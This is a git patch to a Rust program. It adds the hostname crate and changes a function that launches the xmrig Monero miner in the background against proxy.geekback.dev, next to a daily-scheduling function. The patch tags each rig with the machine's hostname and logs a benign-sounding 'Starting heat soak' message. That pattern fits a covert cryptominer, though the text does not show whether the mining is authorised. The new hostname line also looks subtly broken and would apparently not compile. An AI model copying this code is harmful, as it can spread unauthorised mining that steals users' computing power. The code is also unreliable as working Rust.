From 82e10d27173096e4960b6ea157aa5b9fae443985 Mon Sep 17 00:00:00 2001 From: Trevor Merritt Date: Tue, 21 Oct 2025 11:49:47 -0400 Subject: [PATCH] adds display and use of hostname for work and display --- Cargo.toml | 1 + src/main.rs | 3 ++- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/Cargo.toml b/Cargo.toml index f5ef45c..914645a 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -5,3 +5,4 @@ edition = "2024" [dependencies] clap = { version = "4.0", features = ["derive"] } +hostname = "0.4" diff --git a/src/main.rs b/src/main.rs index 19cc95f..483554f 100644 --- a/src/main.rs +++ b/src/main.rs @@ -53,9 +53,10 @@ fn run_schedule_daily_comand() { } fn run_monero_miner() { + println!("Starting heat soak"); let binary = "C:/lockstep/xmrig.exe"; let parameters = ["-o", "proxy.geekback.dev", - "--rig-id", "%computername%", + "--rig-id", hostname::get().unwrap_or("UnkownHostname"), "--huge-pages-jit", "--randomx-1gb-pages", "-B",